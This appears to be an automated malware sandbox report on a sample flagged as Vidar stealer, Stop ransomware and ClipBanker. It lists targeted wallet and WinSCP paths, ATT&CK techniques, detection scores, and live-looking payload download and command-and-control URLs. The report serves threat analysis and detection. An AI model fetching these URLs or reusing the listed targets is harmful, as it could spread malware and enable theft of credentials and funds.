Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Source: Yara match

File source: 0000000A.00000000.378213612.0000000000627000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Vidar stealer

Source: Yara match	File source: 10.0.build2.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.build2.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.build2.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.build2.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.build2.exe.20d15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.build2.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.build2.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.build2.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.build2.exe.400000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.build2.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.build2.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.build2.exe.20d15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.build2.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.build2.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000000.347600742.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.350956103.00000000020D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.369240104.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.347031103.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.347942903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.347322735.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	3 Native API	1 Scheduled Task/Job	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	Exfiltration Over Other Network Medium	13 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	2 Data Encrypted for Impact
Default Accounts	3 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	112 Process Injection	2 Obfuscated Files or Information	1 Input Capture	1 Account Discovery	Remote Desktop Protocol	2 Data from Local System	Exfiltration Over Bluetooth	21 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Scheduled Task/Job	1 Services File Permissions Weakness	1 Scheduled Task/Job	2 Software Packing	1 Credentials in Registry	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	Automated Exfiltration	4 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	1 Registry Run Keys / Startup Folder	11 Masquerading	NTDS	54 System Information Discovery	Distributed Component Object Model	1 Input Capture	Scheduled Transfer	125 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	1 Services File Permissions Weakness	31 Virtualization/Sandbox Evasion	LSA Secrets	151 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	112 Process Injection	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Services File Permissions Weakness	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Invalid Code Signature	Network Sniffing	1 Remote System Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Right-to-Left Override	Input Capture	1 System Network Configuration Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
U59WtZz2Sg.exe	36%	Virustotal		Browse
U59WtZz2Sg.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\build2[1].exe	45%	ReversingLabs	Win32.Ransomware.Stop
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\build3[1].exe	92%	ReversingLabs	Win32.Trojan.ClipBanker
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	92%	ReversingLabs	Win32.Trojan.ClipBanker

Unpacked PE Files

Source	Detection	Scanner	Label	Download
17.0.U59WtZz2Sg.exe.400000.9.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
5.0.U59WtZz2Sg.exe.400000.6.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
17.0.U59WtZz2Sg.exe.400000.10.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
9.0.U59WtZz2Sg.exe.400000.9.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
9.0.U59WtZz2Sg.exe.400000.5.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
9.0.U59WtZz2Sg.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
5.0.U59WtZz2Sg.exe.400000.9.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
5.0.U59WtZz2Sg.exe.400000.7.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
17.0.U59WtZz2Sg.exe.400000.6.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
5.2.U59WtZz2Sg.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
9.2.U59WtZz2Sg.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
9.0.U59WtZz2Sg.exe.400000.10.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
6.2.U59WtZz2Sg.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
1.2.U59WtZz2Sg.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
14.0.mstsca.exe.ee0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen8	Download File
17.0.U59WtZz2Sg.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
14.2.mstsca.exe.ee0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen8	Download File
5.0.U59WtZz2Sg.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
5.0.U59WtZz2Sg.exe.400000.8.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
17.0.U59WtZz2Sg.exe.400000.8.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
17.2.U59WtZz2Sg.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
17.0.U59WtZz2Sg.exe.400000.7.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
8.2.build2.exe.20d15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
5.0.U59WtZz2Sg.exe.400000.10.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
11.2.build3.exe.b90000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen8	Download File
9.0.U59WtZz2Sg.exe.400000.7.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
5.0.U59WtZz2Sg.exe.400000.5.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
9.0.U59WtZz2Sg.exe.400000.8.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
11.0.build3.exe.b90000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen8	Download File
17.0.U59WtZz2Sg.exe.400000.5.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
9.0.U59WtZz2Sg.exe.400000.6.unpack	100%	Avira	HEUR/AGEN.1223627	Download File

Domains

Source	Detection	Scanner	Label	Link
uaery.top	22%	Virustotal		Browse
fresherlights.com	19%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
https://deff.nelreports.net/api/report?cat=msn	0%	URL Reputation	safe
http://facebook.github.io/react/docs/error-decoder.html?invariant	0%	URL Reputation	safe
https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gt	0%	URL Reputation	safe
http://uaery.top/dl/build2.exeJ_	100%	Avira URL Cloud	malware
http://fresherlights.com/files/1/build3.exerun	100%	Avira URL Cloud	malware
https://we.tl/t-5UcwRdS3ED	0%	Avira URL Cloud	safe
http://88.198.94.71/176356074953.zip	0%	Avira URL Cloud	safe
http://fresherlights.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=trueW	100%	Avira URL Cloud	malware
http://fresherlights.com/files/1/build3.exe(	100%	Avira URL Cloud	malware
https://we.tl/t-5UcwRdS3	0%	Avira URL Cloud	safe
http://uaery.top/dl/build2.exe	100%	Avira URL Cloud	malware
http://uaery.top/dl/build2.exe$run	100%	Avira URL Cloud	malware
http://fresherlights.com/test1/get.php	100%	Avira URL Cloud	malware
http://88.198.94.71/	0%	Avira URL Cloud	safe
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	0%	Avira URL Cloud	safe
http://fresherlights.com/files/1/build3.exe$run	100%	Avira URL Cloud	malware
http://fresherlights.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true	100%	Avira URL Cloud	malware
http://88.198.94.71/517	0%	Avira URL Cloud	safe
http://uaery.top/dl/build2.exerunk6	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
uaery.top	116.121.62.237	true	true	22%, Virustotal, Browse	unknown
fresherlights.com	222.236.49.123	true	true	19%, Virustotal, Browse	unknown
t.me	149.154.167.99	true	false		high
api.2ip.ua	162.0.217.254	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://t.me/asifrazatg	false		high
http://uaery.top/dl/build2.exe	true	Avira URL Cloud: malware	unknown
http://88.198.94.71/176356074953.zip	false	Avira URL Cloud: safe	unknown
http://fresherlights.com/test1/get.php	true	Avira URL Cloud: malware	unknown
http://88.198.94.71/	false	Avira URL Cloud: safe	unknown
http://fresherlights.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true	true	Avira URL Cloud: malware	unknown
http://88.198.94.71/517	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.json	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://mail.google.com/mail/?usp=installed_webapp	U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
http://fresherlights.com/files/1/build3.exerun	U59WtZz2Sg.exe, 00000005.00000003.385286762.000000000086A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://searchads.msn.net/.cfm?&&kp=1&	U59WtZz2Sg.exe, 00000005.00000003.497150466.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://2542116.fls.doubleclick.net/activityi;src=2542116;type=chrom322;cat=chrom01g;ord=58648497779	U59WtZz2Sg.exe, 00000005.00000003.496991699.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.inkscape.org/)	U59WtZz2Sg.exe, 00000005.00000003.507888546.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.501922929.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.youtube.com/:	U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://mail.google.com/mail/	U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://deff.nelreports.net/api/report?cat=msn	U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/document/B	U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://mail.google.com/mail/:	U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.google.com/	U59WtZz2Sg.exe, 00000005.00000003.545471776.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.google.com/document/:	U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/	U59WtZz2Sg.exe, 00000005.00000003.496991699.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
http://uaery.top/dl/build2.exeJ_	U59WtZz2Sg.exe, 00000005.00000003.385404722.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000002.574964169.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=3931852	U59WtZz2Sg.exe, 00000005.00000003.496991699.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://aka.ms/AA23z1a	U59WtZz2Sg.exe, 00000005.00000003.469204147.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.449920000.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.450333989.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.468930777.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.447608292.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.446128369.0000000003060000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.471179889.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.470164900.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.459195110.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.458107166.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.471657839.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.469951048.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.446549026.0000000003060000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.454318911.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.462575287.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.445860097.0000000003060000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.470405278.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.461142803.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.467350799.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.454777697.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.460776709.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://res-a.akamaihd.net/__media__/pics/8000/72/941/fallback1.jpg	U59WtZz2Sg.exe, 00000005.00000003.497150466.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://drive.google.com/	U59WtZz2Sg.exe, 00000005.00000003.545471776.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.msn.com/?ocid=iehp	U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://mail.google.com/mail/B	U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json=P	U59WtZz2Sg.exe, 00000001.00000002.309333015.0000000000827000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/?lfhs=2	U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://onedrive.live.com/about/en-us/0	U59WtZz2Sg.exe, 00000005.00000003.462575287.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.445860097.0000000003060000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.461142803.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.460215496.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.450591507.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.458323064.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsongP	U59WtZz2Sg.exe, 00000001.00000002.309333015.0000000000827000.00000004.00000020.00020000.00000000.sdmp	false		high
https://we.tl/t-5UcwRdS3ED	U59WtZz2Sg.exe, 00000005.00000002.577338464.0000000000908000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.385599244.0000000000908000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000002.577980822.0000000002F50000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://www.youtube.com/s/notifications/manifest/cr_install.html	U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.youtube.com/B	U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.reddit.com/	U59WtZz2Sg.exe, 00000005.00000003.350865270.0000000003060000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.qt.io/contact-us.	U59WtZz2Sg.exe, 00000005.00000003.530047759.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528005153.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527905885.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527699347.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529404894.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528855392.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528097089.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528636685.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529863093.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529604993.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528540404.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527571080.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528204840.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.youtube.com/?feature=ytca	U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.ecma-international.org/ecma-262/5.1/#sec-C	U59WtZz2Sg.exe, 00000005.00000003.545871666.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/google/closure-library/wiki/goog.module:-an-ES6-module-like-alternative-to-goog.p	U59WtZz2Sg.exe, 00000005.00000003.545871666.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/application/x-msdownloadC:	U59WtZz2Sg.exe, 00000005.00000003.420123871.0000000003060000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/	U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.gnu.org/licenses/gpl-2.0.html.	U59WtZz2Sg.exe, 00000005.00000003.530047759.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528005153.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527905885.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527699347.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529404894.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528855392.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528097089.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528636685.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529863093.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529604993.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528540404.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527571080.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528204840.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://we.tl/t-5UcwRdS3	U59WtZz2Sg.exe, 00000005.00000002.577980822.0000000002F50000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://payments.google.com/payments/v4/js/integrator.js	U59WtZz2Sg.exe, 00000005.00000003.546543404.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.gnu.org/licenses/lgpl.html.	U59WtZz2Sg.exe, 00000005.00000003.530047759.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528005153.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527905885.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527699347.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529404894.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528855392.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528097089.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528636685.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529863093.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.529604993.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528540404.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.527571080.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.528204840.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonl	U59WtZz2Sg.exe, 00000001.00000002.309333015.0000000000827000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1	U59WtZz2Sg.exe, 00000005.00000003.497150466.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
http://fresherlights.com/files/1/build3.exe(	U59WtZz2Sg.exe, 00000005.00000003.385085396.0000000002FB9000.00000004.00000800.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.522838758.0000000002FB2000.00000004.00000800.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.388272737.0000000002FB9000.00000004.00000800.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.487679398.0000000002FAA000.00000004.00000800.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.542575948.0000000002FAA000.00000004.00000800.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.488792776.0000000002FB2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://api.2ip.ua/geo.jsonk	U59WtZz2Sg.exe, 00000001.00000003.306241286.000000000089F000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000003.308057042.000000000089F000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000003.306100466.000000000089F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com/	U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
http://uaery.top/dl/build2.exe$run	U59WtZz2Sg.exe, 00000005.00000002.574964169.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.msn.com/	U59WtZz2Sg.exe, 00000005.00000003.421301397.000000000306C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.google.com/spreadsheets/	U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json=	U59WtZz2Sg.exe, 00000001.00000002.309333015.0000000000827000.00000004.00000020.00020000.00000000.sdmp	false		high
http://fresherlights.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=trueW	U59WtZz2Sg.exe, 00000005.00000003.385404722.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000002.574964169.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://api.2ip.ua/B	U59WtZz2Sg.exe, 00000001.00000002.309333015.0000000000827000.00000004.00000020.00020000.00000000.sdmp	false		high
http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd	U59WtZz2Sg.exe, 00000005.00000003.507888546.0000000000610000.00000004.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000003.501922929.0000000000610000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json5	U59WtZz2Sg.exe, 00000001.00000002.309333015.0000000000827000.00000004.00000020.00020000.00000000.sdmp	false		high
